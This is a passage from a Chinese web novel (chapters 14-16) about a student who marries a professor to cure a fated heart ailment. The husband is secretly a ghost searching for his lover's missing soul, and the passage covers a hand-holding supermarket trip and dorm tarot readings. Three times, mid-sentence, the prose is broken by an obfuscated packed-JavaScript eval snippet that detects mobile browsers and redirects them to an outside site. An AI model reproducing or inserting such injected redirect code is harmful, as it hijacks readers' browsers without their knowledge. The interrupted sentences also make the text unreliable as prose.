“你们需要额外申请外宿吗?”戚寻问道。 阮新元抬头看了他一眼,回答:“只要二十四小时内在寝室刷过脸就可以了,没那么严格。” “好,”戚寻接着问,“那你大概什么时候有空,我们一起去超市逛逛。” 阮新元若有所思地打开自己的课表,周二当天除了晚上都满课,周三下午只有一节,“星期三晚上可以吗?” “嗯,好。”阮新元挑好了时间,戚寻没怎么犹豫就同意了。 一说到逛超市,阮新元就想到同居的事情。 一想到同居的事情,他的脑海里又闯入昨晚的那场梦,难缠得很。 他心虚地红了点耳根,拿出手机随便乱刷,装作很忙的样子。 又是半个小时的车程开回学校,阮新元胃不舒服的感觉更强烈了,甚至伴随着恶心和耳鸣的症状,他觉得有些不大对劲。 但是直到到了学校寝室楼下,他也没有表现出来这种不对劲,强忍着不适和戚寻道了别之后决定回寝室吃点常备药。 结果他刚回寝室在自己位置坐下,他还没来得及吃药,钻心的疼痛取代了胃痛,是和两天前那段时间一模一样的疼痛症状。 他在帘子内捂着心口没有出声,漫长的三分钟后,症状终于一点点消失,疼痛的余韵让他太阳穴突突地跳。 随之消失的,还有方才的胃痛恶心感。 阮新元擦了擦出了冷汗的手心,颤着手喝了口热水,回想起刚刚的一切。 怎么会这样……他不是自从和戚寻结婚那天后就没有痛过了吗? 为什么症状又发作了,还带出点新的伴随症状。 和戚寻结婚没有用吗,这也不可能,要不然他之前怎么不痛呢? 到底是哪里有问题…… 百思不得其解之后阮新元自知他得求助了。 于是他打开了微信,私聊他神婆子外婆。 【多财多福金元宝:外婆,自从你们上次打电话告诉我找命定之人方向后,我就开始莫名其妙身体不适求医无果,猜测是玄子命的缘故,和戚教授结婚后两天确实都没有再发作了,但今晚却莫名又发作了,是为什么?[小猫叹气]】 没等多久,花槿就发了几个感叹号过来,接着问。 【救命恩人小花:你这孩子这么重要的事情怎么现在才说?!你等我琢磨琢磨……嘶,我问你,你今天是不是没和小戚有肢体接触?】 阮新元艰难地回忆了一下,好像是没有。 等等,但是前两天? 他脑海里闪过领证那天戚寻握住他的手,昨天在饭桌上戚寻也捏过他的手。 阮新元好像知道了什么,他颤颤巍巍打字。 【多财多福金元宝:外婆你的意思不会是……好像真的是……】 【救命恩人小花:命定之人其实就是你玄子命的正缘,需有肌肤之亲、水乳交融,无端痛症方可根治,死命方可破。】 【救命恩人小花:即便是假意,也得行真夫妻之事。】 14.魂 行夫妻之事…… 那也就是说,他得和戚寻干他梦里梦到的那种事,他这个破命才能彻底被解除吗??? 阮新元宛若遭受晴天霹雳。 估计是见他好一会儿都没有回话,花槿又发了条新消息过来。 【救命恩人小花:不过元啊,你也不用着急,目前来看有肢体接触就能缓解,那就循序渐进地来,你可以和小戚先从牵手开始,再培养培养感情,这夫妻之间的事情嘛……总是水到渠成,反正在你过十九岁生日之前做了就行,这不是还有三个月嘛。】 阮新元愣愣地回神,有些麻木地敲击键盘回复。 【多财多福金元宝:好的外婆我知道了,这事儿你先别告诉爸妈,免得他们多心思[小猫撒娇]】 【救命恩人小花:你放心,记得自己好好把握,之后有什么情况记得及时和我说。】 阮新元倒扣手机放在桌面上,趴在桌上开始胡思乱想。 其实早该猜到的,如果说只是结婚就有用的话,那这领个证的事,不过是走个形式,对于结果没有什么太大的改变。 肯定是得多做点什么才行。 心不好控制,可身却容易得多。 前两天戚寻握住他手时温热的触感此刻又攀绕上他的神经。 人总是好了伤疤忘了疼,今天心绞痛再次发作起来,阮新元又开始后怕,那种钻心但是又找不到病症所在之处的疼痛感,实在是太难熬了。 如果他没有找到戚寻,他毫不怀疑自己某一天就会因此痛死。 他现在还摸索不清戚寻对他的感情处在哪个阶段,理智点来说就是有好感但不多,很多时候做出的举动大概率都是出于已经领证对待合法丈夫的礼貌。 但阮新元又不禁想,应该比之前要多点好感吧? 要不然也不会要他喊“老公”还给他大白兔奶糖。 在戚寻心里,自己的身份还是喜欢他的人,之前说了公平,现在又想要和人有肢体接触,这对戚寻来说又不公平了。 阮新元纠结得要死,左右想不出什么好办法,只好又去“骚扰”乔斯明。 【多财多福金元宝:dd,紧急要事,速回】 乔斯明手机不离身,几乎是秒回。 【小明同学:在在在,发生什么事了?】 阮新元打字飞快。 【多财多福金元宝:噩耗,我隔了两天心绞痛又发作了,和我外婆探讨了一番……她告诉我,想要缓解就得和人有肌肤之亲,根治或许得和人那啥[黄豆裂开]】 【小明同学:等等,卧槽?啊啊?!】 隔着屏幕阮新元都能感觉到乔斯明的震惊,顺便想象了一下对方此时的表情,他没忍住笑了出来,颇有“苦中作乐”的精神。 【多财多福金元宝:所以我是来问问你这个谈恋爱经验丰富的,有啥好办法可以和戚教授顺理成章的有肢体接触吗,还得是亲密的情侣之间的那种……】 乔斯明虽然受到了惊吓,但消化信息的能力还是很强的。 过了没多久,他就发了办法过来。 【小明同学:这有什么难的,你们现在是真夫夫,领了证的,是男的都有欲望,我不信他没有,解决一下生理需求不是很正常?】 【小明同学:哦对我差点忘了你其实不喜欢他,在他面前还容易害臊,戚教授也不喜欢你,嘶,那你就……正儿八经接着追他!】 阮新元打字地手停滞了一下,瞳孔不自觉放大。 追……戚寻吗? 乔斯明给出非常权威的理由。 【小明同学:我觉得这个办法已经是最好的了,反正在他那边也是知道你喜欢他的,会那么快答应你结婚本身就对你有天然好感,你呢就脸皮厚点直接说想要接着追他,然后你自己也可以慢慢做个心理建设,接纳对方,两全其美[鼓掌]】 阮新元看着这段话,开始思索这个办法的可行性。 乔斯明说的,确实有道理。 他昨晚做了那个春梦之后,一觉睡醒的反应也不是觉得和戚寻有亲密接触不适,只是害羞觉得冒犯了对方而已。 所以他潜意识里不排斥,反而对戚寻的触碰容忍度很高,戚寻那边……就追吧。 阮新元正了正心神,没那么烦闷了,敲键盘回复。 【多财多福金元宝:明,你说的有道理[玫瑰]】 阮新元特地留意了下时间,今天病症发作时间是在晚上九点左右,那么只要九点之前和戚寻有肢体接触,当天应该就不会发作了。 如果他到时候能忍的话,还可以顺便试验一下疗效,看看不同亲密程度能维持不发病的时间是多久。 看来同居的事情,也得早点办好。 他还得感谢自家外婆的先见之明。 既然如此……阮新元一不做二不休,直接大着胆子戳开和戚寻的聊天页面,这个点对方应该还没睡。 他一个字一个字地认真打出一句话。 【多财多福金元宝:寻哥,你介不介意我在婚内接着追你呀?】 戚寻没有很快回复,估计是在忙。 阮新元等得心脏怦怦跳,隐隐在紧张对方的回答。 “嗡嗡——” 他立刻把眼神锁定在聊天框。 【戚教授:既然我都不介意让喜欢自己的人睡在身边,那当然也不介意这个。】 【戚教授:我等你追我。】 阮新元有一瞬间呼吸都停滞了,戚寻比他预想的对他还要宽容…… 他决定乘胜追击。 【多财多福金元宝:那你,介不介意,我追的时候作点弊,毕竟我们是合法夫夫[对手指]】 【戚教授:比如?】 阮新元灵机一动,顺势提出请求。 【多财多福金元宝:就比如,我可不可以在后天和你逛超市的时候,牵你的手[企鹅转圈]】 他捧着手机,聚精会神盯着戚寻的微信头像等了好一会儿,对方都还没发消息回来。 是突然有事情,还是他发的太过了? 也没有很大尺度吧,只是牵手而已。 有点糟糕。 阮新元嘀咕着,一颗心被搞得七上八下的,难免有点泄气。 估计是“太激进”了,对于戚寻这个不喜欢自己的人来说这种请求何止是作弊,简直是道德绑架。 他刚想补救回复说自己不作弊也没关系,下一秒,戚寻的消息终于弹了回来。 【戚教授:不好意思小元,刚刚突然有事情。】 【戚教授:只要考试别作弊,其他的,在我这都可以。】 阮新元心脏角落本来悄悄枯萎的一朵小花,此时被重新浇灌,瞬间生机盎然了起来,整个心也跟着活跃起来。 他琢磨了半天,不知道该怎么回复比较好,刚刚不管不顾的勇气已经耗尽,他得重新酝酿,最后回复了一个小猫晚安的表情包溜之大吉。 阮新元等戚寻回完晚安迟迟没有退出聊天界面,看着戚寻回复的那句话雀跃得不行。 最终他没忍住,截了张图,又去骚扰乔斯明。 【多财多福金元宝:[聊天截图]】 【多财多福金元宝:戚教授他人真的很好哎,嘻嘻。】 三秒后,乔斯明先回了他一个句号,紧接着发来一大段话。 【小明同学:不是P图?不是捡手机文学?你居然直接问了?他居然还直接答应了?这不对吧兄弟?兄弟你是不是来秀恩爱的,这还需要我出谋划策,我等着吃酒席就行了吧[我会一直盯着你.jpg]】 阮新元装作没看到,故技重施,给乔斯明发了小猫晚安的表情包后再次溜之大吉。 * “南阎,上次和你说的东西,带来了么?”泰姣月一身绿纱仙袍,从忘情桥上走下。 戚寻把手中绣着红色凤凰的锦囊递给对方,“嗯。” 泰姣月接过锦囊拆开,从里面取出一根黑发。 这是戚寻那晚鬼身回魂后从阮新元头上轻轻剪下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139277|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一根发丝。 泰姣月点了点眉心,随即默念了一句咒语,黑发乘着风落入三生河中,飘荡在碧绿的水面之上,又被流动的三生水送至更远的地方。 戚寻的眼前闪过一阵绚烂的光,他定定地看着岸边迅速抽枝生长的杨柳,随风飘扬的柳枝落下一片如小舟般的鲜嫩绿叶,舞动着落到泰姣月的掌心。 泰姣月又念了一串咒语,把那片叶递给了戚寻,“用它割破你的指腹。” 戚寻依言照做,叶片边缘锋利,他稍稍用力一割,金色的液体从他指腹中流出,柳叶沾染上戚寻的血,像得了灵智,活泼跳动起来,还贴了贴戚寻的掌心。 泰姣月见状没忍住调侃,“看来你的挚爱是一个开朗可爱的人。” 确实很可爱。 戚寻没忍住用手指蹭了蹭柳叶的叶面,柳叶明显贴得更近了些,但不过多久,柳叶变没有了动静,静悄悄地在他的掌心变黄,直至完全枯萎失去生机。 一时间气氛有些沉默,远处闪着绿光的杨柳也跟着黯淡了下来。 “你应知晓,三生水将人发丝吞并生长出杨柳后,飘落的那片柳叶便是凡人三魂七魄的化身,方才我见它灵动活泼,七魄应是完好无缺,但在得了你的灵智后没过多久就凋亡……”泰姣月微微蹙眉,有些严肃地看向低眸牢牢盯着掌心柳叶出神的戚寻。 “说明他缺了一魂。”戚寻拢住掌心抬眼望向三生河,眼神一瞬变得阴冷。 见对方已悟出其中的问题所在,泰姣月便没有再解释下去,接着问道:“你可曾发现他在人间,有什么不同于其他凡人的怪异之处?” 戚寻沉默地思考着,最后缓缓道出一句话,“有,他并不爱我,也不熟悉我,却要和我结婚,还要追我。” 可能是图你脸和钱呢。 泰姣月撩了撩秀发,嘴角抽搐了一下,暗自蛐蛐了一句,但没说出口。 戚寻哪能不知道对方那表情在心里吐槽什么,他没有在意,继续说着:“他在人间不过十八,没必要这么早就寻找婚配,肯定有别的原因,或许就和缺失的这一魂有关,但他必不可能同我说出真相。” 当初他被阮新元求婚后,第一反应是欣喜若狂,思索不过一秒就先行答应了对方,再冷静下来也明白这当中必定有蹊跷之处,加上对方红鸾未动,却又打定主意还要追他,更是蹊跷。 只可惜他虽为鬼,但也读不了人心。 而今还察觉出对方缺失了一魂,他自然把种种异端联系了起来。 或许阮新元,有不得不结婚接近他的理由,而他……就是被选中的结婚人选。 无论如何,戚寻都庆幸自己是那个人选。 泰姣月正色,“他无法在司命阁入名,缺失的那魂,不出意外是爽灵*。” 她抬眸看着戚寻,“你打算怎么办,这一魂缺失若是宿命,天命总归难违,最晚不过十年,他便会在人间再次消亡,下一次魂魄重聚入轮回,或许又要过百年、甚至千年万年。” 戚寻将柳叶送入三生河中,淡淡开口:“多少年我都等得起,哪怕是剥我的魂天地间再无我,我也要想尽一切办法补上他缺失的那一部分。” 泰姣月本还想说什么,但看戚寻决绝的神情就知道多说无益,最终只得叹一口气。 值不值得这个问题,百年前就有无数人问过面前近乎找人找疯魔的人。 那个时候,戚寻还不叫戚寻。 但对方那时的回答就从来都只有一个。 “九天之上,冥府之下,茫茫人间,与我而言,此间若无他,天崩地裂也无关痛痒。” * 阮新元扫视了一圈,一眼锁定了购物推车,几步从超市入口处拉了一辆推到戚寻面前。 “我们进去吧。”他好久没逛超市,此时还有些兴奋。 结果余光里的戚寻站在原地没动,他有些疑惑地偏头看向对方。 就见戚寻朝他温柔一笑,伸出一只骨节分明的大手,歪头提醒他:“不是说要作弊吗?” 15.牵手 阮新元眼睛瞪得圆溜溜,心脏里像突然涨满了彩色泡泡,又在顷刻间被人戳破,仿若有泡沫从他的口腔里溢出,他情不自禁地因惊讶张开了点嘴巴。 他垂眸看着眼前无名指戴着银戒的大手,睫毛震颤间,他恍惚回忆起之前两次手被完全握住时的感受。 温暖、令人莫名无法抗拒。 明明他从来没有设想过一开始就可以“作弊”,戚寻却主动给他开了解题的VIP通道。 戚寻……真的对自己很宽容,阮新元默想。 他舔了舔嘴唇,空出一只手来,先是不自在地抠了抠购物车的把手,紧接着退了一步,和戚寻肩并肩。 阮新元的手臂摇摆,手侧有目的性地蹭到了戚寻的肌肤,牵住对方手的瞬间像被刻意调慢了的电影镜头,每多一分的触感,对他而言都清晰可见。 他不敢握得太紧,一只手虚虚地牵着对方,祈祷自己手心不要冒汗。 牵上手的两人一时间都没有说话,气氛变得有些古怪,空气像被凝结,阮新元听见自己跳动得越来越快的心脏。 路过他们的人有些没忍住投射来目光,阮新元觉得自己右手像暖炉照着般烧了起来,悄悄变粉的耳朵也被明亮的灯光照得一清二楚。 在他踌躇的几秒钟里,戚寻却直接握紧了他的手,像前两次一样包住,另一只手接过购物车,温声说:“我们进去吧。” “噢噢,嗯。”阮新元轻声回应,手心感到愈发温暖,但还能触到戚寻手上有点凉的戒指。 这种感觉很奇怪,他本不应该产生这种令人呼吸急促的情绪,只是普通的牵手而已。 或许是因为心虚……又或许是因为戚寻的太坦荡和纵容,让他总有些失措。 哪怕他一路上都装作很自如的样子,实际上心尖都在冒着汗,特别是有路过的人时不时看他俩一眼,让阮新元内心更焦灼了。 但戚寻的态度一直如常,好像丝毫没有注意到周围人目光,自如地推着车向前走着。 在几番纠结拉扯之后,阮新元也干脆不去想,在这样的“纵容”下渐渐习惯和对方牵手的状态,精神逐渐放松下来。 戚寻跟着他的步调,两个人并肩慢悠悠地走过一排排缤纷的货架,仿佛他们此刻不是在超市购物,而是趁着美丽的黄昏还没隐去在江边散步。 “有什么喜欢吃的水果吗?” 经过果蔬区的时候,戚寻的声音把阮新元飘远的思绪从江边拉回了超市。 他站定在琳琅满目的水果区前,环顾寻找着什么,接着眼前一亮,饶过购物车,一只手牵着戚寻,拉着人走到圆滚滚金灿灿的橙子堆面前。 “喜欢橙子?”戚寻偏过头垂眸看向身边人。 “喜欢。”阮新元捣蒜一样点点头,他顺手扯下一个购物袋,松开牵着戚寻的手,开始仔细挑选眼前的橙子来。 戚寻的掌心瞬间空了,手指跟着不自觉地蜷缩了两下,他盯着阮新元抿嘴出现的酒窝失神了好几秒。 在鲜橙滚动的摩擦声里回过神,然后帮人一起挑起橙子来。 说挑倒也没什么技巧,阮新元是水果颜控,反正现场也尝不到味道,专挑好看的送进袋。 他们只有两个人,阮新元怕吃不下没多买,最后凑了个整,挑了十个顶漂亮的橙子小跑着去称重。 等工作人员贴好标签,阮新元把玩着塑料袋转了两圈,慢悠悠走回来把袋子随意放进空荡荡的购物车,他随手拨弄了下额前的发丝,露出一半眉眼。 “除了橙子,还喜欢什么别的水果吗?”戚寻将装着橙子的塑料袋靠到购物车的一边摆好,再问道。 阮新元最爱吃的水果是橙子,其次就是草莓,奈何这个季节草莓还没上市,一时间他脑子里倒也没有蹦出其他什么特别想吃的水果,于是他摇了摇头。 不过他看到橙子对面恰好摆着一大堆红彤彤的苹果,没忍住笑了一声,“我有个室友特别喜欢吃苹果,每天都要吃一个,甚至有时候一天能吃三个,我们刚开始还以为他家是卖苹果的,他上次在寝室里放了一大箱,一个月不到就消灭完了。” 对于阮新元口中的其他人,戚寻都不怎么感兴趣,但他还是微笑着接腔:“那你这个室友一定身体很健康。” “嗯,那确实,但就我自己来说,感觉苹果是所有水果里最无聊的,哎,香蕉也很无聊,没什么水分为什么被分到水果呢,芒果挺好吃的,但是里面的核有点大得太过分了,吃西瓜又要吐籽,无籽西瓜味道又不如有籽……” 阮新元乱七八糟地评价着,随后歪头笑着看向戚寻,“那你喜欢吃什么水果呀?” 戚寻停下脚步,刹那间撞进阮新元澄澈的双眸里,魂魄在一瞬间不受控地被拉入面前人明媚绚丽的眸中之河,他脑海里插播入一条百年前的影像。 那时春日宴席之上,桃花伴着莺燕蝴蝶漫天飞舞,席上一片欢声笑语、诗酒共庆。 坐在他对面的那人叫着他的名字,笑吟吟地朝一如往常寡言少语的自己抛来一颗鲜嫩呈色上佳的桃子,恰好落入他的掌心。 近千年光阴已逝,他早已不记得那颗桃子的味道,犹记人笑。 记忆与现实的画面重叠,戚寻从阮新元的眸子里回魂,无声止住呼吸数秒,他的喉结滚动了两下,诚实回答:“桃子。” “桃子……”阮新元一听,就抬头四处搜寻,“哎那边有,你喜欢哪个品种,这个季节还有不少。” “水蜜桃就好。”戚寻推着车跟上。 这里的桃子看着比方才挑选的橙子还大个,阮新元刚挑了四个,就感觉袋子变沉了不少。 “如果你不喜欢的话,少拿几个就行。”戚寻站在一边提醒。 阮新元小幅度地摇摇头,灿烂地笑了一下,“桃子也挺好吃的,算作我……第二喜欢吧,我挑六个。” 他悄咪咪地把草莓在心中的排名往后移。 毕竟戚寻对他这么好,应该的,阮新元心想。 “好。”戚寻咽了咽口水,润了下有点干涩的喉咙。 这次是他接过了袋子拿去称重,贴好标签后把它和橙子那袋紧挨在一块儿。 由于戚寻的厨艺还不错,平时有空他都会自己做饭,他们又挑了些两个人都爱吃的蔬菜,最后离开了果蔬区,逛到了日常生活用品区。 别的东西戚寻家里都不缺,阮新元主要是挑新的牙刷杯子和毛巾,他随意挑了些简单不贵的款式,哐哐放进购物车。 本来是戚寻推着车,走到后面阮新元自告奋勇接过,两只小臂贴着购物车的杆子,悠哉悠哉地微微趴在上面边推边走。 戚寻就跟在他身边,不怎么克制的眼神扫过阮新元像猫一样柔软塌着的细腰。 阮新元对此一无所觉,他远远地瞧见装满各类口味的薯片货架,扭头和戚寻说了一声,“寻哥你随便看看,我去买点薯片。” 戚寻看了他一眼,点头收回目光,转身扫视着身后的酒柜挑起酒来。 阮新元从小到大看到薯片都走不动道,最爱的就是黄瓜味薯片,怎么吃都不会腻。 他大手一挥拿下三大包黄瓜味和一包番茄味的,心满意足地放进购物车里,车内现在已经被各种物品占满了一半。 等他准备推着车找戚寻,他回过头愣了一下,停住了脚步。 一个非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151130|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有气质、高挑漂亮披着如墨般长发的女生站在戚寻身边拿出手机说了句什么,戚寻俯视着人,面上没什么表情。 他虽然听不清女生和戚寻讲了什么,也听不清戚寻回应了什么,但从女生略带失望的神情还有转身离开的动作可以猜到,对方应该是来搭讪的,而戚寻拒绝了。 阮新元诡异地觉得这刻的戚寻非常冷淡疏离……不像他之前所见的那般彬彬有礼。 大概是错觉? 他驻足观察的目光毫无隐藏,在戚寻转过头来望向自己的一瞬间,就被人抓了个现形。 阮新元反应过来没有再杵在原地,推着车走过来,没忍住调侃道:“戚教授还是太帅了。” 戚寻定定地看着人不说话,眼神带着深意。 阮新元琢磨了一会儿,突然反应过来自己不仅脱口而出了客套的称呼,还表现的像个路过看戏的。 这完全不像喜欢人家才会有的反应啊! 他紧急补救,“咳咳,你……和她说了什么?” 戚寻盯着人红润的唇,“她问我能不能交个朋友,我说不好意思,我结婚了。” 很简单的回答,阮新元认可地点了点头,随即又开始装模作样的“不依不饶”,“我一刻不站在你身边,就会有人盯上你,这种感觉……我不太喜欢。” 他看着戚寻那只戴着戒指的手,又灵机一动,“所以接下来,我们还是非必要不分开吧!” 说完这句话,他就不容置疑地抓住了戚寻的大手,还霸道地撑开对方的手掌,把自己的手指严丝合缝地嵌入戚寻的手指。 十指紧扣的那一瞬间,戚寻人身的心脏剧烈地震颤了一瞬,眼前飞速闪过一些零碎的画面,最终停泊在阮新元笑颜的那一帧。 眼前的这一帧。 阮新元也从未和人这样亲密的牵过手,或许有了一开始的经历,他这回倒是不紧张了,反而自得其乐,觉得牵着也没什么。 反正好朋友也会牵手。 “走吧。”这回是阮新元先迈开步子。 戚寻闷闷地“嗯”了一声,感觉自己的左小臂变得有些僵硬。 太久太久了……这种被紧贴着的感觉。 掌心亲吻着掌心,十指缠绕、骨节摩擦,空气在这种时刻都无法强行挤入,再近一点,戚寻就能听见阮新元的心跳。 这是他身为鬼魂时贴得再近也感受不到的。 “应该没什么了,我们去结账吧?”阮新元低头扒拉了一下购物车里的东西,一时间想不到还有什么没买。 戚寻思索了半秒,也觉得差不多了,“好,那我们走吧,待会儿我付就可以。” 阮新元没有和他争,两个人走到买单通道排队,依旧牵着手。 收银台身边的货架向来引人注目,阮新元这次没有像以前那样只是匆匆扫一眼,而是被某样东西黏住了目光。 如果真要行夫妻之事……那这样东西是必须的吧? 怎么有那么多不同的种类,这里居然有草莓味的。 等等好像还不止要买这个,男生和男生做这种事情,还得要润滑来着? 很好,润滑就在下面一排,齐活了。 那现在要不要买呢…… 戚寻就站在他边上,他这样拿岂不是太轻浮,虽然对方答应了牵手,可不代表那么容易就答应这事儿,虽然他并不排斥。 而且戚寻看上去好像真的很禁欲的样子……可能对这方面不是很热衷。 啧,下次再买也行吧! “小元,你在……盯着什么发呆?” 戚寻的声音轻得像一片羽毛,小心地只蹭落进阮新元的耳朵里。 16.倒吊人 阮新元瞬间像只炸毛了的猫,语无伦次地不打自招:“啊,就是有点好奇,哈哈,安全/套居然还有那么多口味的,哎呀好神奇……” “原来你盯着的东西是这个?”戚寻深深地看了他一眼。 “呃,那个……”阮新元脸红成番茄,慌不择路,差点咬到自己的舌头,“就……随便看看。” “两位这边。”服务员礼貌的话语打破了尴尬的氛围。 阮新元立马松了口气,顾不上和戚寻牵着的手,松开后双手推着购物车往前走。 然后就埋头像松鼠运松果一样把购物车里的东西一样样拿出来,速度之快一点没给戚寻发挥的空间。 戚寻只好绕到前面,打开手机准备扫码付款。 空了的购物车被拉到一旁,阮新元盯着台面上挨个被扫码的东西有些恍惚。 既然看到了为什么不先买试试? 机不可失时不再来。 嗯。 然后他回头从放着计生用品的货架上随意抽了一盒最大号的安全/套还有一瓶不知道什么味道的润/滑剂,顶着戚寻诧异的视线把两样东西一起放到了台面上,动作一气呵成。 收银员有条不紊地扫着商品条形码,面色如常,微笑着顺口提醒:“两位先生,我们超市现在有活动,这款轻薄有纹路的安全/套买二送一,买两盒更划算噢。” 没等阮新元僵住的大脑反应过来,戚寻直接朝阮新元抬了抬头示意,“好的谢谢,小元你再拿两盒吧。” “啊,嗯嗯嗯……”阮新元声音跟蚊子似地回应,一脸羞赧,又迅速从货架上抽出两盒甩到收银台上,活像捏着两块烫手的山芋。 “一共三百七十八块四,这边扫您。” “滴——” 支付成功页面弹出后,戚寻把购物小票随手放进大塑料袋,和阮新元一人拎着一袋离开。 一路上两人都没有说话,气氛又变得古怪起来,阮新元有点后悔自己脑抽拿套的举动。 怎么就突然又拿了呢? 就是不知道为什么,刚刚他被戚寻抓包完之后生出了不知名勇气,这下好了,勇气消耗殆尽,后知后觉的尴尬感涌上心头。 尽管戚寻根本没说什么,还叫他多拿了两盒,变相帮他解了围,到现在也没有拿这件事调侃他,但这种感觉一时间也难以消散。 姑且算他求生欲太强,想早点痊愈吧。 嗯,戚寻还是对他太宽容了。 阮新元不知道第几次在心里默念。 沉默的氛围最终在两人上车后被戳破,等阮新元系好安全带,戚寻询问他的意见,“你准备什么时候搬过来,今晚回学校还是?” “我周五再搬吧,今天晚上还有点事情得回学校完成。”阮新元这倒不是故意找借口溜走,确实有些部门里的工作需要完成,只不过这样一来刚好还避免了方才的尴尬。 为了不让人多想,他解释得具体了些,“再过一个月我们学院要举办十佳歌手大赛,刚好是我加的部门负责的,已经在筹备阶段了,我被分配到了写策划案的工作,最迟周五前要上交,写之前还得和组里的同学讨论。” 戚寻点头表示了解,“好,那我先送你回学校,买的这些东西我就先带回家了。” 不过就算对方说的只是借口,他也不会真的让人强留下来。 “嗯。”阮新元扭头看向窗外。 话题被转移后,那股奇异的氛围终于消散,他想起什么,低头看了眼手机,离他预计的发病时间还差半个小时左右。 刚好那个时候他也回寝室了,就算今天还是发病了,也不至于让戚寻见了多想,毕竟心绞痛发作时,他确实有点难控制自己的表情。 如果说待会儿确实没有发作的话,他还可以测试看今天牵了两回手,能否坚持到明天的这个时候不发病。 他现在也算是忍痛能力上升了,再来一次还是能熬住的,反正周五自己又能见到戚寻了,到时候就像今天一样不动声色地牵上手,对方也不会说什么。 嘿嘿,计划通。 阮新元思考问题时习惯性会蹙眉垂眸,戚寻在余光里揣摩对方有些严肃的表情,直觉让他联想到泰姣月所言之事。 他清楚自己不管问什么,阮新元也不会说出一定要和他结婚的实情。 不过没关系,来日方长。 他可以从别的地方,旁敲侧击。 “这周六一整天我都有空。”戚寻冷不伶仃地说了一句。 “啊。”阮新元回过神眨眨眼,有点疑惑地看向戚寻,有点没理解对方说这句话的原因。 戚寻循循善诱,“你不是说,要追我吗?” 这下阮新元反应过来了,这是告诉他周六可以邀请对方约会的意思,给他提供一个追求的好时机。 天底下还有像戚寻这样大方的人吗? 主动提供喜欢他的人追求自己的机会。 那阮新元一定不会浪费。 “那个……寻哥,你喜欢看电影吗?”他绞尽脑汁思索了半天,没有谈恋爱追求人经验脱口而出就是看电影。 戚寻温声回答:“谈不上喜欢不喜欢,看不看都可以。” “那我周六请你看电影好不好?”阮新元说着就拿出手机查看最近上映的电影,不是假期档,电影不算多,但也有他感兴趣的,“这个喜剧片好像口碑还不错。” “都好,看你就行。”戚寻顺势答应下来。 “那我们就下午看电影,看完电影再一起吃饭吧,先说好了,这次得我请你,因为是我要追你的。”阮新元提前知会,就怕戚寻到时候吃饭又请客。 戚寻轻笑着答应,“好,你放心。” 又过了十分钟,车子驶进校园,阮新元突然想起来自己好像还没带戚寻逛过自己学校,每次对方来都是接送他,下次得找个机会好好带人逛逛。 他和戚寻告别后,一路走回寝的路上刚在想什么时候带人来逛学校更好,就听见自己寝室传来一片哄笑声。 “这么热闹呢?”阮新元推开门,发现寝室里除了方又知他们三个人,还有他们班的学委曹毅。 四个人围着一桌,地上摆着些卡片。 阮新元凑近一看,居然是塔罗牌。 “哎哎哎元哥你回来了,刚好,学委在给我们展示他精湛的塔罗占卜技术,”蒋其风给阮新元拉来凳子,拍了拍,示意人坐下,“这不是过几天我们学院刚好要秋日游园会吗,大一大二每个班要出个摊位,我们班就由学委承包了。” “哇靠你别说小元,曹毅他算得可真准,刚刚我们还在帮康良出谋划策追外院之前他军训喜欢上的那女生,刚好曹毅来了,算出来是对方喜欢女的,结果你猜怎么着?”方又知表情夸张。 严康良在边上呵呵一笑,眼神幽怨,“结果我刚刚刷到对方发朋友圈,和女朋友出柜了。” 阮新元眼睛都瞪大了,没忍住笑了一下,坐下拍了拍严康良的肩膀算作安慰,“这么准啊,真是没想到你还会这个呢学委。” 曹毅本人倒是谦虚,“还行还行,我算人际关系感情这方面比较准,那种能不能发财能不能考研考公上岸的就有点难说了。” “你这肯定有市场,大学生嘛大多数总是对这些情情爱爱的感兴趣。”方又知在一边点赞。 “那你俩没算算?”阮新元好奇地看看方又知又看看蒋其风。 蒋其风挠挠头,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155865|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主要是我也不知道该问什么,学委他说算近期的事情比较准,我也没什么喜欢的人。” “哎我知道了!可以算有没有人喜欢你!”方又知打了个响指,看向曹毅。 曹毅心领神会,开始重新洗牌,“这个可以,来,你心里默念一下这个问题,然后抽三张牌出来就行。” 蒋其风被搞得还有点紧张,阮新元乐得看热闹。 见人颤颤巍巍地抽出三张牌,递给了曹毅。 曹毅一张张翻开,映入眼帘的分别是恋人牌、圣杯侍从和月亮牌。 “哟,恋人牌!”他高声说起来,“真有人在暗恋你呢小蒋!” 方又知大笑着起哄,“看看看看!我就说!” “啊,真假啊。”蒋其风脸红成了猪肝色。 曹毅开始分析起来,“这三张牌确实表示有人目前在暗恋你,不过圣杯侍从这张牌一出,不好确定这人的性别,男女都有可能,月亮牌又表明这个人和你保持着一定的距离,估计表面上你和他不太熟。” 